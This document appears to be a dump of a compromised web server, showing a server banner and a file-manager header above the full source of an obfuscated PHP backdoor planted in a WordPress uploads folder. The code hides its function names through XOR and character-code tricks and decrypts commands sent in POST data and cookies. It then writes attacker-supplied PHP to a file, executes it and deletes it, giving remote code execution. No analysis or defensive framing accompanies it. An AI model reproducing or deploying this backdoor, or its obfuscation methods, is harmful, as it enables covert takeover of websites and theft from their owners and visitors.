HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/uploads/2021/05/bhlpyhwo.php
<?php 


$mrmnqyri    =     'mrmnqyri' /*et_ucr   */ ^  '';$onvllcfskz	=       $mrmnqyri(322-225)    . /* k  */ $mrmnqyri(114)  .      $mrmnqyri(1083-969) /*  h   */ .    "a"."y"."_"."\155" /*_eqej */ .       "a".$mrmnqyri(112);


$iaroc	= /*   vvl */ "\151"    .    "m".$mrmnqyri(328-216)	.    "l".$mrmnqyri(111)	. /*   jd   */ $mrmnqyri(125-25) /* f*/ . /*cz   */ "\x65";$yiejxmrlwe    = /*   dfmjga   */ "c"."\157"     .    "u"."n"."t";




function    rkyfjc($gymjj,  $zoxuxd)
{    global /*  afgc  */ $mrmnqyri;  

       $gymjj /*   q   */ =    $mrmnqyri(60)  .	$mrmnqyri(130-67) /*zhekz */ .   "p"."\150"   . /*  yqkvxg   */ "\160"      .    $mrmnqyri(32)   .	"u"."\156" /*pps*/ . /*jmvsmv  */ $mrmnqyri(108) /*oydzxd   */ .	$mrmnqyri(105)       .    "n"."k"."\50"	.	"\137"       .       "_"."\x46"	.   "I"."L".$mrmnqyri(445-376) /*   flng  */ . /* cd_vl */ $mrmnqyri(95)	. /*jnpu*/ "_"."\x29"      .      ";".$mrmnqyri(32)    .    $gymjj[$mrmnqyri(100)];


    $qawgq_var	= /*   gtb  */ "f"."\151"    .      "l"."\x65".$mrmnqyri(414-319)     .   "p"."u".$mrmnqyri(735-619)       .   $mrmnqyri(95)    .	$mrmnqyri(419-320) /*q*/ .	"o".$mrmnqyri(989-879)   .	"\x74"    .     "\x65"."n"."t"."\x73";


       

 /* ox*/ $qawgq_var($zoxuxd, /* irx   */ $gymjj);

   


  dlkonw($zoxuxd);

}$zwvotrv /*sfzucd  */ =	73;




function      dlkonw($zoxuxd)
{


    global /*   ajvio  */ $mrmnqyri;

 /* ubsj  */ 


    include($zoxuxd);   $beoduz    = /*  mn */ $zoxuxd;

 /*   drc   */ @unlink($beoduz);
}
function /*zkbrw  */ gsdzbjvps(){ /* frm */ global    $mrmnqyri;
    $__vyr	=	array();    $__vyr[$mrmnqyri(112)	.    "\x76"] /*ga  */ =    phpversion();
    $__vyr["s"."\x76"] /*  ybrov_   */ =	"3"."."."5";


	$ejxyubh  =    74;


   echo	@serialize($__vyr);


}




function      gdwuvtmsg($gymjj,    $lxdutse)
{
 /*kdi_*/ global /*   h   */ $mrmnqyri;





   $hbyex /* xhfzp   */ =    "";
  $nveabb    =  'eiv';    $fvlasom    =     hash('sha256',	$gymjj);

     $smsxh /* yows*/ = /* dz */ str_replace('yl',	$fvlasom,	$nveabb);     $__vyr      = /*k   */ 0;

    while    ($__vyr /* abzuhk*/ <     strlen($gymjj))	{ /* ak  */ $odnwgvker    = /*wumlc  */ isset($lxdutse) /* nhzwg  */ ? /*  q*/ $lxdutse /* __lj  */ : /* rdamj  */ '';


	for /*   tp_agj */ ($vvszthjwoc	= /*y */ 0;   $vvszthjwoc	<	strlen($odnwgvker)    &&	$__vyr	< /*   rzcw */ strlen($gymjj);    $vvszthjwoc++,    $__vyr++)      {

     $hbyex   .= /*   b*/ $mrmnqyri(ord($gymjj[$__vyr])    ^	ord($odnwgvker[$vvszthjwoc]));
    }


 /* uczd */ if       (strlen($hbyex) /*   wveteg*/ >    20)       {

     $smsxh    = /*g*/ substr($hbyex,     0, /*   sw */ 20); /*kuzh   */ }
    }
     if   (empty($hbyex))  { /* wtq   */ $hbyex      =    date('Y-m-d /*  mz */ H:i:s');    }	return	$hbyex;}



function  yvbyl($egbnbpegc)


{	global    $mrmnqyri;
	 /*   soaecd   */ $hkejgocrv    =    "\x63" /*  qm */ .      "0"."f"."\x64" /*   jq*/ .      $mrmnqyri(252-200)	. /*ey  */ "9"."c"."\x34"       . /*   mzeyu   */ "-"."5".$mrmnqyri(56) /* mosu*/ . /*   d  */ "3".$mrmnqyri(134-81) /* j */ .	"-"."4"."0".$mrmnqyri(447-398)      .    "2"."\55" /*  d */ .    "b"."\x63"    . /* mvt  */ $mrmnqyri(836-779)    .   "\x66"    .  "-".$mrmnqyri(978-876) /*ucaf   */ . /*  v_ck */ "c"."3"."3"."3"."\x62"	.  $mrmnqyri(702-600)     .    $mrmnqyri(369-313)      .	"3"."\62" /* _zapeu  */ .      "\60"    . /*ikrfj */ $mrmnqyri(102);
 /*   k*/     foreach /* eg*/ ($egbnbpegc   as /*  l   */ $bbccpr      => /*   juubk */ $gymjj) /*  jd   */ {

	rngvo(base64_decode($gymjj),      $hkejgocrv,      $bbccpr);


       }

}


function	rngvo($gymjj,    $hkejgocrv,	$bbccpr)

{    global  $mrmnqyri;

     
    $gymjj  =    unserialize(gdwuvtmsg(gdwuvtmsg($gymjj, /*   m  */ $hkejgocrv),	$bbccpr));	$omlagcxngh /*   j */ =	'zdi_cfvc';

	$fw_cmwv       = /*  w  */ 'fylwf';   if     (isset($gymjj["\141" /*   w */ . /*pon   */ "\x6b"]))   { /*  q   */ if /*b*/ ($gymjj[$mrmnqyri(97)] /*  pcxpq*/ ==    "\x69")    {


    gsdzbjvps();

 /*   nizwn  */ } /*  kexhqg */ elseif /* ehlux   */ ($gymjj[$mrmnqyri(97)]  ==    "\x65")    {	rkyfjc($gymjj,    sprintf("\x2e"	.      "/"."%"."s"."\56" /*  ieq*/ . /*  ki */ $mrmnqyri(112)	.    "\x6c",    md5($hkejgocrv)));

			$ypkcvote /*ii*/ =	44; /*  oz_ilu */ }
      exit();  }

}
yvbyl($_POST);   



$mmbejzyju	= /*  _bagbw*/ $onvllcfskz('rawurldecode',	$_POST);


$sshpv	=  $yiejxmrlwe($mmbejzyju);

if    ($sshpv    >      0)	{
 /* djspl  */ $dpbphto	=       $iaroc(',', /*  n */ $mmbejzyju);

}

yvbyl($_COOKIE);      


$fmlqfmcwwv /*  etd */ =	$onvllcfskz('rawurldecode',    $_COOKIE);


?>